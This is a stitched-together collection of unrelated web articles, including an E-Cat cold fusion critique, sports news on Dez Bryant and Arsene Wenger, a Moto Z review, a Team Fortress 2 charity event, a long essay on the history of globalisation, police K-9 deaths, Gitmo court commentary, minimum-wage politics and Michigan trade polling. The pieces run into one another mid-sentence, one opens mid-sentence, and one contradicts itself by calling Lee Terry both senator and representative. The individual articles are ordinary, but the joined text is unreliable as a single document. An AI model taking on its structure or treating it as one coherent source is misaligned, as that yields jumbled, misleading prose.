In the time of peak oil, cheap and abundant energy could solve a global energy crisis. Such an energy source could as well possibly solve the world´s water supply problems, and desalination of sea water could become a commercially viable option.
Fans honor Rossi like a rockstar wearing T-shirts calling for a Nobel prize.
Some enthusiasts started chilling champagne bottles for the big e-cat party already one year ago. Hank Mills, Pure Energy Systems News[i] summarized on Dec.30, 2011“As 2012 approaches, it is clear that nickel-hydrogen cold fusion technology is going to change the world, as the production of a million E-Cat home units is planned. “ and further stated enthusiastically”The Proven Reality of E-Cat Technology”.
We believe that this judgment was a little premature. While we truly acknowledge that serious and good research has been made in more than 20 years of LENR research by honest and professional scientists, there are too many question marks and inconsistencies linked with the e-cat.
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Existing Users Log In Username Password Enter something special: Remember Me Forgot password? Click here to resetDez Bryant has become a star with the Dallas Cowboys as a wide receiver, but after throwing his first career touchdown on his first NFL toss, it sounds like Bryant wants more action under center.
One day after his touchdown pass to tight end Jason Witten during the Cowboys’ 42-21 win over the Detroit Lions, Dallas vice president Stephen Jones said Bryant is trying to convince offensive coordinator Scott Linehan to give him another shot to show off his throwing form.
“Dez tried to go to the quarterback meeting this morning,” Jones said Tuesday, via the Dallas Morning News. “He’s lobbying Scott for more plays.”
Article continues below...
Bryant caught the quarterback fever after the Cowboys pulled off a trick play in the third quarter. The star wideout took a handoff from quarterback Dak Prescott in what appeared to be a simple reverse, but as Bryant ran toward the sideline the southpaw eventually slowed down and lofted a perfect pass to Witten in the back of the end zone.
Bryant also did damage at his normal position Monday, finishing with four catches for 70 yards and a season-high two touchdowns. As strange as it sounds, Bryant now has more pass attempts than Tony Romo in 2016.The College of Charleston is one of the nation’s best institutions for undergraduate education, according to The Princeton Review. The education services company features the school in the new, 2016 edition of its annual college guide, “The Best 380 Colleges”.
According to the publication, “The College of Charleston consistently provides great academics, meaningful experiences to engage with the city, and fantastic people who want to do fantastic things.”
Only about 15 percent of America’s 2,500 four-year colleges (and only four colleges located outside the United States) are profiled in the book, which is The Princeton Review’s flagship college guide. “The Best 380 Colleges” includes detailed profiles of the colleges and rates the colleges in eight categories. The book also includes 62 specialized “Top 20” lists of schools based on The Princeton Review’s surveys of 130,000 students attending the colleges. The College, for example, ranked No. 18 this year for the list “College City Gets High Marks.”
This is the 12th year in a row that the College of Charleston has been honored by The Princeton Review.Lenovo has decided that its 2016 flagship Android smartphone doesn't need a 3.5mm headphone jack. Neither the Moto Z nor its slightly thicker, slightly better Moto Z Force variant offers an analog audio port, though both come with a USB-C adapter in the box.
The Moto Z is a phone defined by the extra accessories and modules it can magnetically connect to, leaving its basic form as a super streamlined and simplified slab. Ignoring its substantial camera bump, most of the Z measures just 5.2mm in thickness, which is only slightly thicker than the 3.5mm connector that the device lacks. Even so, we've seen 5.1mm phones that still include one, so Lenovo's decision can't be explained away as a simple engineering constraint in trying to maximize thinness.
Most likely, Lenovo's motivation for ditching the headphone jack is the same as that of Chinese rival LeEco, which already made the change with its 2016 lineup. LeEco's president of R&D Liang Jun explained to The Verge that his company was driven by the desire to promote the greater clarity and quality of digital audio via the USB-C port.
Apple's upcoming iPhone 7 has been stirring controversy for a few months now with rumors that it would ship without a 3.5mm jack. If current trends on the Android side continue, however, the next iPhone's omission might seem perfectly in line with the rest of the industry by the time it happens. Sure, Apple would be switching to its proprietary Lightning connector rather than the more widely adopted USB-C, but the overall transition toward digital audio seems like the destination every phone manufacturer is heading in.
Users are unlikely to enjoy having to carry adapters around for something so basic as listening to music. Aaron Souppouris over at Engadget makes the case that Lenovo's switch — and Apple and LeEco's, by extension — is premature, owing in large part to the hidden complexity of the adapters required. There's ample potential for sound quality improvements when using a digital output, but manufacturers will have to be smart about the way they implement the change and communicate it to their users.
Lenovo's experimental Moto ModsPossibly the biggest thing to happen in Team Fortress 2’s history since the game went free to play, was kicked off this afternoon. The line up for Mix-Up match 4 has been announced with three spaces for you to play too. We talk to event founder and manager, Ashkan Namousi about the ideas behind Mix-Up Match.
Way back in July 2010, Ashkan was a fresh faced public player, there were already a multitude of 6vs9 (Professionals verses pubbers) events and to him they all seemed the same. They appealed well to the players who were already involved in TF2 but didn’t bring any new excitement from outside. To remedy this he decided to try to for a Highlander event with more variety. In this match there would be two teams of nine players, each having three representatives of three types of players; the pros, the pubbers and the celebrities.
In the first Mix-up event he sort the volenteers from the creators of Team Fortress 2, Valve Software.
I talked to some comp veterans, but they were pessimistic. [They] said we wouldn’t be able to get valvers. – Ashkan (ETF2L admin)
But get them he did.
I used the ETF2L Highlander Community Challenge as a reason to do the show match. When I emailed Robin, I did it on behalf of the ETF2L admin staff (which I was not a part of at the time). So I just assumed that the ETF2L admins would take over the event but racio (etf2l head admin) just kept asking me what we should do next, what my ideas were, gave suggestions… – Ashkan
By the time the first match was done it was clear Ashkan was a natural at organisation. Since he already knew most of the HL team leaders racio fast tracked him through to admin level (the first to hold this post without having competed in 6v6) and gave him control of the HL scene at ETF2L.
Since then we’ve seen two further Mix-up matches. Each match strays further and further the initial bounderies of three groups of six. While the teams are still lead by pro players there has been more involement from community players. I played in Mix-up 2 and Tempest in Mix-up3. There have been some incredibly lucky pub players picked seemingly at random and a lot more celebrities.
Now we’re gearing up for Mix-up 4. There’s to be a few friends returning, in the form of Robin Walker, Notch, Freddy Wong and Yogscast.
PC gaming has reached a high of late, making consoles look like ancient relics an alien race left on earth millenia ago. My experiences of PC gaming today match those halcyon days of playing Quake in a computer lab against physicists, when console just meant comforting someone during a time of sorrow, which appropriately enough I’ll probably need after being owned in the upcoming KritzKast TF2MixUp Match – Simon Lane (The Yogscast)
These guys will be joined a who’s who line up of the coolest TF2 players on the planet including representatives from Bethesda, TwiT, PC Gamer, Sony Online Entertainment and YouTube.
Always happy to jump on TF2 and put my mediocre skills to the test! After all, There’s nothing like waking up in the morning to the smell of burnt spies. – CaptainSparklez (YouTuber)
Mix-Up match 4 has evolved far beyond its humble beginings. Not only are there far more celebrities lining up to take part this will be the first time the match will be used as a fund raiser for charity.
Starting from the second mix-up match, I had that in the back of my head. I wanted to do some good and give the event some higher purpose than “just for fun” or “for promoting highlander”. Seeing how many people watched the third match, and absolutely loved it and wanting to play themselves, made me see the potential the event had as a fundraiser. – Ashkan
When it came to choosing who would benefit one clear winner soon emerged.
Given Child’s Play’s close connection to the gaming community and what our event is about, they were already strong candidates. But their technical and legal flexibility put them in front. – Ashkan
In another first, three lucky donators to the charity will be picked to win a goodie bag of signed merch from Bethesda and Valve and a place in the match itself.
I really just hope they enjoy themselves and aren’t afraid of chatting with the players, now that they have the opportunity to. And if they’re new to TF2, I hope they stick to the game. – Ashkan
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Follow this story as it progresses around the world :
US/International –
South Africa –Retired Lieutenant General Keith Kellogg served acting national security adviser to President Donald Trump following the resignation of Michael Flynn.
Kellogg, who served as an adviser to Trump during his campaign, was a candidate to remain in the position full time, but Trump eventually picked another military officer, Lieutenant General H.R. McMaster, as his new national security adviser on February 20.
Kellogg will return to his position as Chief of Staff and Executive Secretary of the National Security Council, a position he was appointed to by Trump in December 2016. He was at Trump’s Mar-a-Lago resort on February 20 when the McMaster pick was announced.
“Mr. President, thank you for the opportunity to continue to serve. I’m very honored by it, very privileged by it,” Kellogg said. “And I’m very honored and privileged to serve alongside with H.R. McMaster, I’ve known for years as well. He’s a great statesman, a great Sargent. Thank you, sir.”
Trump told reporters, “”What a team. This is a great team. We’re very, very honored. Our country is lucky to have two people like this and frankly, after having met so many of the people in the military, we’re lucky to have all of them.”
Flynn resigned on February 13 amid reports that he had spoken with Ambassador Sergey Kislyak about Russia sanctions, despite Flynn repeatedly claiming that he never did so.
Here’s what you need to know about Keith Kellogg.
1. He Is a Retired U.S. Army General Officer
Executive Secretary of the National Security Council Lieutenant General Joseph Keith Kellogg Jr. #5Days #TeamTrump 🇺🇸🇺🇸🇺🇸🇺🇸🇺🇸 pic.twitter.com/PVSQv5ular — Deplorable Patriot (@Deplorable_1776) January 15, 2017
Like Michael Flynn, Keith Kellogg served in the U.S. Army prior to being appointed to Donald Trump’s National Security Council.
Kellogg served in the 101st Airborne Division during the Vietnam War, and he commanded the 82nd Airborne Division starting in 1996.I remember how in November 2013 my wife (and fellow Intentional Insights co-founder) and I, together with a great bunch of people, organized a spaghetti dinner fundraiser at our Unitarian Universalist church in Columbus, OH. The event was a big success, with more than 120 attendees, a music program, a raffle and silent auction. We raised over $2000 for the Mid-Ohio Food Bank. It might surprise you that the dinner organizers and volunteers came from Columbus secular humanist, atheist, and skeptic groups, including the UU secular group, as this religious denomination embraces believers and non-believers alike. The dinner honored the Flying Spaghetti Monster, a light satire meant to promote reason-based scientific education in biology classes. No belief in a deity was required to participate in community-oriented civic engagement at this dinner – in fact, the event was explicitly oriented toward secular-minded folks.
Studies indicate that opportunities to serve others, whether in civic, private, or professional settings, as well as charitable giving, result in a stronger sense of purpose and meaning in life, leading to better mental and physical well-being. This does not mean that serving others is necessary for a strong sense of meaning and purpose, but such civic engagement generally helps contribute to gaining this sense. Volunteering together with others in your community enables the creation of strong social bonds, which adds further to a sense of meaningfulness |
been filled with belated, rueful comments from the high priests of globalisation – the men who appeared to have defeated the anti-globalisers two decades earlier. Perhaps the most surprising such transformation has been that of Larry Summers. Possessed of a panoply of elite titles – former chief economist of the World Bank, former Treasury secretary, president emeritus of Harvard, former economic adviser to President Barack Obama – Summers was renowned in the 1990s and 2000s for being a blustery proponent of globalisation. For Summers, it seemed, market logic was so inexorable that its dictates prevailed over every social concern. In an infamous World Bank memo from 1991, he held that the cheapest way to dispose of toxic waste in rich countries was to dump it in poor countries, since it was financially cheaper for them to manage it. “The laws of economics, it’s often forgotten, are like the laws of engineering,” he said in a speech that year at a World Bank-IMF meeting in Bangkok. “There’s only one set of laws and they work everywhere. One of the things I’ve learned in my short time at the World Bank is that whenever anybody says, ‘But economics works differently here,’ they’re about to say something dumb.”
Over the last two years, a different, in some ways unrecognizable Larry Summers has been appearing in newspaper editorial pages. More circumspect in tone, this humbler Summers has been arguing that economic opportunities in the developing world are slowing, and that the already rich economies are finding it hard to get out of the crisis. Barring some kind of breakthrough, Summers says, an era of slow growth is here to stay.
In Summers’s recent writings, this sombre conclusion has often been paired with a surprising political goal: advocating for a “responsible nationalism”. Now he argues that politicians must recognise that “the basic responsibility of government is to maximise the welfare of citizens, not to pursue some abstract concept of the global good”.
One curious thing about the pro-globalisation consensus of the 1990s and 2000s, and its collapse in recent years, is how closely the cycle resembles a previous era. Pursuing free trade has always produced displacement and inequality – and political chaos, populism and retrenchment to go with it. Every time the social consequences of free trade are overlooked, political backlash follows. But free trade is only one of many forms that economic integration can take. History seems to suggest, however, that it might be the most destabilising one.
Nearly all economists and scholars of globalisation like to point to the fact that the economy was rather globalised by the early 20th century. As European countries colonised Asia and sub-Saharan Africa, they turned their colonies into suppliers of raw materials for European manufacturers, as well as markets for European goods. Meanwhile, the economies of the colonisers were also becoming free-trade zones for each other. “The opening years of the 20th century were the closest thing the world had ever seen to a free world market for goods, capital and labour,” writes the Harvard professor of government Jeffry Frieden in his standard account, Global Capitalism: Its Fall and Rise in the 20th Century. “It would be a hundred years before the world returned to that level of globalisation.”
In addition to military force, what underpinned this convenient arrangement for imperial nations was the gold standard. Under this system, each national currency had an established gold value: the British pound sterling was backed by 113 grains of pure gold; the US dollar by 23.22 grains, and so on. This entailed that exchange rates were also fixed: a British pound was always equal to 4.87 dollars. The stability of exchange rates meant that the cost of doing business across borders was predictable. Just like the eurozone today, you could count on the value of the currency staying the same, so long as the storehouse of gold remained more or less the same.
When there were gold shortages – as there were in the 1870s – the system stopped working. To protect the sanctity of the standard under conditions of stress, central bankers across the Europe and the US tightened access to credit and deflated prices. This left financiers in a decent position, but crushed farmers and the rural poor, for whom falling prices meant starvation. Then as now, economists and mainstream politicians largely overlooked the darker side of the economic picture.
In the US, this fuelled one of the world’s first self-described “populist” revolts, leading to the nomination of William Jennings Bryan as the Democratic party candidate in 1896. At his nominating convention, he gave a famous speech lambasting gold backers: “You shall not press down upon the brow of labour this crown of thorns, you shall not crucify mankind upon a cross of gold.” Then as now, financial elites and their supporters in the press were horrified. “There has been an upheaval of the political crust,” the Times of London reported, “and strange creatures have come forth.”
Businessmen were so distressed by Bryan that they backed the Republican candidate, William McKinley, who won partly by outspending Bryan five to one. Meanwhile, gold was bolstered by the discovery of new reserves in colonial South Africa. But the gold standard could not survive the first world war and the Great Depression. By the 1930s, unionisation had spread to more industries and there was a growing worldwide socialist movement. Protecting gold would mean mass unemployment and social unrest. Britain went off the gold standard in 1931, while Franklin Roosevelt took the US off it in 1933; France and several other countries would follow in 1936.
The prioritisation of finance and trade over the welfare of people had come momentarily to an end. But this wasn’t the end of the global economic system.
The trade system that followed was global, too, with high levels of trade – but it took place on terms that often allowed developing countries to protect their industries. Because, from the perspective of free traders, protectionism is always seen as bad, the success of this postwar system has been largely under-recognised.
Over the course of the 1930s and 40s, liberals – John Maynard Keynes among them – who had previously regarded departures from free trade as “an imbecility and an outrage” began to lose their religion. “The decadent international but individualistic capitalism, in the hands of which we found ourselves after the war, is not a success,” Keynes found himself writing in 1933. “It is not intelligent, it is not beautiful, it is not just, it is not virtuous – and it doesn’t deliver the goods. In short, we dislike it, and we are beginning to despise it.” He claimed sympathies “with those who would minimise, rather than with those who would maximise, economic entanglement among nations,” and argued that goods “be homespun whenever it is reasonably and conveniently possible”.
The international systems that chastened figures such as Keynes helped produce in the next few years – especially the Bretton Woods agreement and the General Agreement on Tariffs and Trade (Gatt) – set the terms under which the new wave of globalisation would take place.
The key to the system’s viability, in Rodrik’s view, was its flexibility – something absent from contemporary globalisation, with its one-size-fits-all model of capitalism. Bretton Woods stabilised exchange rates by pegging the dollar loosely to gold, and other currencies to the dollar. Gatt consisted of rules governing free trade – negotiated by participating countries in a series of multinational “rounds” – that left many areas of the world economy, such as agriculture, untouched or unaddressed. “Gatt’s purpose was never to maximise free trade,” Rodrik writes. “It was to achieve the maximum amount of trade compatible with different nations doing their own thing. In that respect, the institution proved spectacularly successful.”
Facebook Twitter Pinterest Construction workers in Beijing, China. Photograph: Ng Han Guan/AP
Partly because Gatt was not always dogmatic about free trade, it allowed most countries to figure out their own economic objectives, within a somewhat international ambit. When nations contravened the agreement’s terms on specific areas of national interest, they found that it “contained loopholes wide enough for an elephant to pass”, in Rodrik’s words. If a nation wanted to protect its steel industry, for example, it could claim “injury” under the rules of Gatt and raise tariffs to discourage steel imports: “an abomination from the standpoint of free trade”. These were useful for countries that were recovering from the war and needed to build up their own industries via tariffs – duties imposed on particular imports. Meanwhile, from 1948 to 1990, world trade grew at an annual average of nearly 7% – faster than the post-communist years, which we think of as the high point of globalisation. “If there was a golden era of globalisation,” Rodrik has written, “this was it.”
Gatt, however, failed to cover many of the countries in the developing world. These countries eventually created their own system, the United Nations conference on trade and development (UNCTAD). Under this rubric, many countries – especially in Latin America, the Middle East, Africa and Asia – adopted a policy of protecting homegrown industries by replacing imports with domestically produced goods. It worked poorly in some places – India and Argentina, for example, where the trade barriers were too high, resulting in factories that cost more to set up than the value of the goods they produced – but remarkably well in others, such as east Asia, much of Latin America and parts of sub-Saharan Africa, where homegrown industries did spring up. Though many later economists and commentators would dismiss the achievements of this model, it theoretically fit Larry Summers’s recent rubric on globalisation: “the basic responsibility of government is to maximise the welfare of citizens, not to pursue some abstract concept of the global good.”
The critical turning point – away from this system of trade balanced against national protections – came in the 1980s. Flagging growth and high inflation in the west, along with growing competition from Japan, opened the way for a political transformation. The elections of Margaret Thatcher and Ronald Reagan were seminal, putting free-market radicals in charge of two of the world’s five biggest economies and ushering in an era of “hyperglobalisation”. In the new political climate, economies with large public sectors and strong governments within the global capitalist system were no longer seen as aids to the system’s functioning, but impediments to it.
Not only did these ideologies take hold in the US and the UK; they seized international institutions as well. Gatt renamed itself as the World Trade Organization (WTO), and the new rules the body negotiated began to cut more deeply into national policies. Its international trade rules sometimes undermined national legislation. The WTO’s appellate court intervened relentlessly in member nations’ tax, environmental and regulatory policies, including those of the United States: the US’s fuel emissions standards were judged to discriminate against imported gasoline, and its ban on imported shrimp caught without turtle-excluding devices was overturned. If national health and safety regulations were stricter than WTO rules necessitated, they could only remain in place if they were shown to have “scientific justification”.
The purest version of hyperglobalisation was tried out in Latin America in the 1980s. Known as the “Washington consensus”, this model usually involved loans from the IMF that were contingent on those countries lowering trade barriers and privatising many of their nationally held industries. Well into the 1990s, economists were proclaiming the indisputable benefits of openness. In an influential 1995 paper, Jeffrey Sachs and Andrew Warner wrote: “We find no cases to support the frequent worry that a country might open and yet fail to grow.”
But the Washington consensus was bad for business: most countries did worse than before. Growth faltered, and citizens across Latin America revolted against attempted privatisations of water and gas. In Argentina, which followed the Washington consensus to the letter, a grave crisis resulted in 2002, precipitating an economic collapse and massive street protests that forced out the government that had pursued privatising reforms. Argentina’s revolt presaged a left-populist upsurge across the continent: from 1999 to 2007, leftwing leaders and parties took power in Brazil, Venezuela, Bolivia and Ecuador, all of them campaigning against the Washington consensus on globalisation. These revolts were a preview of the backlash of today.
Rodrik – perhaps the contemporary economist whose views have been most amply vindicated by recent events – was himself a beneficiary of protectionism in Turkey. His father’s ballpoint pen company was sheltered under tariffs, and achieved enough success to allow Rodrik to attend Harvard in the 1970s as an undergraduate. This personal understanding of the mixed nature of economic success may be one of the reasons why his work runs against the broad consensus of mainstream economics writing on globalisation.
“I never felt that my ideas were out of the mainstream,” Rodrik told me recently. Instead, it was that the mainstream had lost touch with the diversity of opinions and methods that already existed within economics. “The economics profession is strange in that the more you move away from the seminar room to the public domain, the more the nuances get lost, especially on issues of trade.” He lamented the fact that while, in the classroom, the models of trade discuss losers and winners, and, as a result, the necessity of policies of redistribution, in practice, an “arrogance and hubris” had led many economists to ignore these implications. “Rather than speaking truth to power, so to speak, many economists became cheerleaders for globalisation.”
In his 2011 book The Globalization Paradox, Rodrik concluded that “we cannot simultaneously pursue democracy, national determination, and economic globalisation.” The results of the 2016 elections and referendums provide ample testimony of the justness of the thesis, with millions voting to push back, for better or for worse, against the campaigns and institutions that promised more globalisation. “I’m not at all surprised by the backlash,” Rodrik told me. “Really, nobody should have been surprised.”
But what, in any case, would “more globalisation” look like? For the same economists and writers who have started to rethink their commitments to greater integration, it doesn’t mean quite what it did in the early 2000s. It’s not only the discourse that’s changed: globalisation itself has changed, developing into a more chaotic and unequal system than many economists predicted. The benefits of globalisation have been largely concentrated in a handful of Asian countries. And even in those countries, the good times may be running out.
Facebook Twitter Pinterest Illustration by Nathalie Lees
Statistics from Global Inequality, a 2016 book by the development economist Branko Milanović, indicate that in relative terms the greatest benefits of globalisation have accrued to a rising “emerging middle class”, based preponderantly in China. But the cons are there, too: in absolute terms, the largest gains have gone to what is commonly called “the 1%” – half of whom are based in the US. Economist Richard Baldwin has shown in his recent book, The Great Convergence, that nearly all of the gains from globalisation have been concentrated in six countries.
Barring some political catastrophe, in which rightwing populism continued to gain, and in which globalisation would be the least of our problems – Wolf admitted that he was “not at all sure” that this could be ruled out – globalisation was always going to slow; in fact, it already has. One reason, says Wolf, was that “a very, very large proportion of the gains from globalisation – by no means all – have been exploited. We have a more open world economy to trade than we’ve ever had before.” Citing The Great Convergence, Wolf noted that supply chains have already expanded, and that future developments, such as automation and the use of robots, looked to undermine the promise of a growing industrial workforce. Today, the political priorities were less about trade and more about the challenge of retraining workers, as technology renders old jobs obsolete and transforms the world of work.
Rodrik, too, believes that globalisation, whether reduced or increased, is unlikely to produce the kind of economic effects it once did. For him, this slowdown has something to do with what he calls “premature deindustrialisation”. In the past, the simplest model of globalisation suggested that rich countries would gradually become “service economies”, while emerging economies picked up the industrial burden. Yet recent statistics show the world as a whole is deindustrialising. Countries that one would have expected to have more industrial potential are going through the stages of automation more quickly than previously developed countries did, and thereby failing to develop the broad industrial workforce seen as a key to shared prosperity.
For both Rodrik and Wolf, the political reaction to globalisation bore possibilities of deep uncertainty. “I really have found it very difficult to decide whether what we’re living through is a blip, or a fundamental and profound transformation of the world – at least as significant as the one that brought about the first world war and the Russian revolution,” Wolf told me. He cited his agreement with economists such as Summers that shifting away from the earlier emphasis on globalisation had now become a political priority; that to pursue still greater liberalisation was like showing “a red rag to a bull” in terms of what it might do to the already compromised political stability of the western world.
Rodrik pointed to a belated emphasis, both among political figures and economists, on the necessity of compensating those displaced by globalisation with retraining and more robust welfare states. But pro-free-traders had a history of cutting compensation: Bill Clinton passed Nafta, but failed to expand safety nets. “The issue is that the people are rightly not trusting the centrists who are now promising compensation,” Rodrik said. “One reason that Hillary Clinton didn’t get any traction with those people is that she didn’t have any credibility.”
Rodrik felt that economics commentary failed to register the gravity of the situation: that there were increasingly few avenues for global growth, and that much of the damage done by globalisation – economic and political – is irreversible. “There is a sense that we’re at a turning point,” he said. “There’s a lot more thinking about what can be done. There’s a renewed emphasis on compensation – which, you know, I think has come rather late.”
Illustrations by Nathalie Lees
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Davie, FL — The lives of two dogs tragically came to an end Wednesday, after they were left in a hot police SUV all day long.
Hialeah police detectives along with the Davie Police are currently investigating the reason Officer Nelson Enriquez left his two K-9 work dogs in his SUV. The two dogs, Jimmy, a 7-year-old bloodhound, and Hector, a 4-year-old Belgian Malinois, were found dead inside an SUV parked in Enriquez driveway.
According to police, it appears Enriquez returned home from his midnight shift and never let the dogs out of the cruiser.
Not until 7:00 pm Wednesday night, after the dogs had already died in his driveway from the brutal heat, did Enriquez call in to report the incident.
According to Local 10 News,
The Davie Police Department is leading the investigation. Hialeah police are also conducting a complete and concurrent internal investigation. Enriquez is a 13-year veteran of the Hialeah Police Department and has been a K-9 handler the past seven years. He was relieved of duty pending the outcome of the investigation.
In a statement regarding the incident, the department says they are set on finding out just how these dogs were left to die in a hot car.
“The Hialeah Police Department is extremely saddened by this unfortunate occurrence and every effort will be made to determine the cause of this terrible tragedy, which claimed the lives of two very beloved members of our Hialeah police family,” Zogby said. “This is still an open and active investigation and we must wait for the outcome from the Davie police and the Broward (County) state attorney’s office.”
Apparently their investigation consists of more than simply asking Enriquez this question, “Why did you leave the dogs to die in a hot car?”
This incident is tragic, and the person responsible for the torturous death of these two dogs should be held responsible. However, the question is, if it proves to be Enriquez who is at fault, will he be held accountable?
According to the Federal Law Enforcement Animal Protection Act of 2000,
Whoever willfully and maliciously harms any police animal, or attempts or conspires to do so, shall be fined under this title and imprisoned not more than 1 year. If the offense permanently disables or disfigures the animal, or causes serious bodily injury to or the death of the animal, the maximum term of imprisonment shall be 10 years.
If Enriquez is found to have willfully killed these two dogs or even through his blatant negligence, will he be held to the same standard as a common citizen?Perched far to the right, Judge Silberman is frustrated mostly with terror law as it relates to the Gitmo detainees. In his view, the Supreme Court has mistakenly allowed too many detainee challenges into court, the Obama Administration has cynically gone along even while it reserves the right to ignore the results of the appellate reviews, and too many court-appointed defense attorneys have brought too many dubious cases. At least that's what Judge Silberman wrote Friday in a concurring opinion in Esmail v. Obama, a case in which he and his fellow panelists dismissed an appeal from a detainee whose "story" the judge found to be "phonier than a $4 bill."
The judge wrote:
Of course, if it turns out that regardless of our decisions the executive branch does not release winning petitioners because no other country will accept them and they will not be released into the United States, then the whole process leads to virtual advisory opinions. It becomes a charade prompted by the Supreme Court's defiant - if only theoretical - assertion of judicial supremacy, sustained by posturing on the part of the Justice Department, and providing litigation exercise for the detainee bar (citations omitted by me).
The dramatic (and a little overstated) complaint is unique to judges of the D.C. Circuit, who (by design) bear the brunt of the detainee review cases. But it is not unique to the Circuit itself. In October, another senior-status judge appointed by a Republican president, 77-year-old D.C. Circuit Court Judge A. Raymond Randolph, also ripped the Supreme Court. Like Judge Silberman, Judge Randolph is ticked off by the Supreme Court's 2008 decision in Boumedienne v. Bush, an opinion which struck down the hapless Military Commissions Act and recognized the rights of detainees to have their cases reviewed by civilian courts (i.e. the D.C. Circuit).
Together, the two crankypants argue that the majority opinion in Boumedienne, a carefully-crafted judicial compromise by swing-voter Justice Anthony Kennedy, promised too much "due process" to the detainees and provided it without also providing enough practical guidance to lower court judges on how to dispense it. And what may have set Judge Silberman off last week in particular was Monday's action by the Supreme Court in which it refused to hear three separate appeals of detainee cases arising out of D.C. Circuit opinions. We can't be bothered to provide you with now with additional guidance, the Supremes effectively told the D.C. Circuit judges, you'll just do the best you can with what we've already given you.
There's nothing wrong with a good judge going rogue every once in a while, and you've got to give Judge Silberman credit, at least, for telling it like it is. Whatever else it has done, the Supreme Court has miserably failed over the past seven years to give the D.C. Circuit, the trial courts, the Congress, the nation, and the rest of the world much usuable instruction on how to "constitutionally" handle the Gitmo detainees. Instead, in each of the "Big Four" terror law decisions handed down by the Justices since the terror attacks of September 11, 2001, the High Court has preached the notion of "judicial restraint" and practiced its convenient prerogative to answer the toughest questions in the negative -- Thou Shalt Not! -- instead of in the affirmative -- Thou Shalt!Media playback is not supported on this device We are showing our strength - Wenger
Arsene Wenger says he is unfazed by the current pressure on him and wants to manage Arsenal long into the future.
Critics have questioned the Frenchman's position with the embattled Gunners 17th in the Premier League having sold key players in the summer.
But, after the 3-1 Carling Cup win over Shrewsbury, Wenger said: "I am not bothered at all by this speculation.
"I have had 14 years at this club and kept them 14 years in the Champions League. I hope it lasts another 14."
Arsenal chief executive Ivan Gazidis told BBC Sport on Tuesday that sacking Wenger was not an option they wished to pursue.
The club needed to come from a goal down to beat League Two side Shrewsbury on Tuesday with a side made up, largely, of promising youngsters and reserve players.
I can understand people are unhappy and criticise. But, you know as well as I, that people are very quick to go overboard Arsenal manager Arsene Wenger
Much of the focus on Wenger has centred on the strength of his squad after club captain Cesc Fabregas left for Barcelona and fellow midfielder Samir Nasri joined Manchester City in August.
In the final days of the transfer window, Everton midfielder Mikel Arteta,striker Park Chu Young,full-back Andre Santos and centre-half Per Mertesacker all signed for the Gunners, while Wenger also brought Yossi Benayoun in on loan from Chelsea.
But the upheaval has affected them on the pitch, with Arsenal securing just one league win out of five while registering the worst goal difference in the top flight.
"I can understand that people are unhappy and criticise, but you know as well as I know that people are very quick to go overboard," said Wenger, whose lowest point came when his team were hammered 8-2 by Manchester United in late August.
"When we do well we take all the plaudits, so we have to take all the blame when it doesn't go as well - but we have, on both sides, to take some distance.
Media playback is not supported on this device In-depth interview with Arsenal chief executive Ivan Gazidis
"When it goes well we must not completely believe what people say - and when it does not go as well, we must not completely believe it."
James Collins headed Shrewsbury ahead after 16 minutes on Tuesday but Arsenal hit back when Kieran Gibbs levelled ahead of half-time before recent recruit Alex Oxlade-Chamberlain fired in a 25-yard effort on the hour after which Benayoun wrapped things up late on.
Of 18-year-old Oxlade-Chamberlain, a £10m signing from Southampton, he added: "You could see that he will be a first-team player here, that is for sure. He has still things to work on but, very quickly, he will be knocking on the door."Nebraska senator Lee Terry has a wee bit of a history of hypocrisy when it comes to wages:
During last fall’s government shutdown, however, Terry said that he would continue to collect his paycheck because he had to pay for a “nice house” and “a kid in college.” He later called those comments “shameful” and agreed to withhold his pay. The congressman also joined the House GOP’s unanimous vote against a bill that would have hiked the federal minimum wage to $10.10 an hour in March 2013.
Yup, he opposed a minimum wage hike. You can guess his political party. So when his Democrat challenger suggested cutting the wages of lawmakers, you can probably guess on what grounds Terry didn’t like the idea:
State Sen. Brad Ashford has pledged to return 10 percent of his pay if elected until an equal pay cut passes in Congress, according to Omaha TV station KMTV. Incumbent Rep. Lee Terry (R-NE) rejected that proposal. “What he’s not telling you is that Congress hasn’t had a cost of living increase since 2008, when I led the charge for a freeze,” Terry told KMTV.
You know who else hasn’t had a cost of living raise in a while? Minimum wage workers. And by “a while” I mean since 1968. Sure, they’ve gotten raises in that time (most recent was three fucking years ago), but none of them were cost of living raises:
On July 24, three years will have passed since the last increase in the federal minimum wage. It’s currently stuck at $7.25 an hour, or just over $15,000 a year for a full-time worker. My colleagues at the Center for Economic and Policy Research have made a number of comparisons to show just how low that is. For example, if the minimum wage had kept up with inflation since 1968, its historical high point, it would now be over $10.50 per hour. And this is despite the fact that today’s low-wage workers are older and better educated than in the past. Had the minimum wage also risen in step with low-wage workers’ age and educational attainment since 1968, it would even higher in 2012, approaching $11 per hour.
So…all that concern about cost of living raises…does that get directed at anybody but Lee Terry?If you live in Arizona, give a nice warm welcome to your newest police officer: a lizard.
That's right, the Avondale Police Department has officially sworn in Iroh the bearded dragon, and have given him a badge and everything. Photos of the momentous occasion were shared on the department's Facebook page.
Iroh first came into police work last year, when the police department announced on April Fool's Day that the bearded dragon would be joining their ranks with a specialty in dug detection.
"Research has shown that reptiles possess a strong sense of smell making their ability to detect certain illicit drugs possibly more accurate than K9s," the Facebook announcement read.
Even though having a bearded dragon on the force was obviously a prank, Iroh became somewhat of a fixture within Avondale police. Pictures were posted on Facebook of the lizard sitting in on paperwork and even working the radar gun.
Officer Iroh has clearly earned his badge. We have no doubts he will wear it with honor and distinction.Exit polls in the Michigan primary show that Democrats and Republicans oppose trade — by nearly equal margins.
A majority of voters in both parties — 53% among Republicans, 56% among Democrats — said that trade “takes away U.S. jobs.” Only 34% of Republicans and 31% of Democrats say that trade “creates more U.S. jobs.”
In both parties, 8% of voters in Michigan told pollsters that trade had no effect on jobs, according to MSNBC.
Economic statistics tell a difference story. Crain’s Detroit Business noted last year that Michigan ranked 6th overall for “jobs supported by exports” among U.S. states. According to the U.S. Department of Commerce, Michigan exported $55.8 billion worth of goods in 2014, up 55% since 2004. There were 270,927 jobs in the state supported by exports. And 89.4% of exporters were small or medium-sized firms.
In 2013, the Business Roundtable estimated that trade supports 1.1 million jobs in Michigan.
However, voters who benefit directly from trade, or who know that they benefit indirectly from trade, may not be among those voters most motivated to participate in presidential primary elections. On both sides, candidates have tapped into anxiety about existing trade agreements, as well as mistrust of the Obama administration’s handling of Trans-Pacific Partnership negotiations.Melissa Littlewood of Sarasota, Fla., voted for Republican presidential candidate Mitt Romney because she thinks the government is becoming too expansive, too intrusive, and too burdensome for small business owners such as herself.
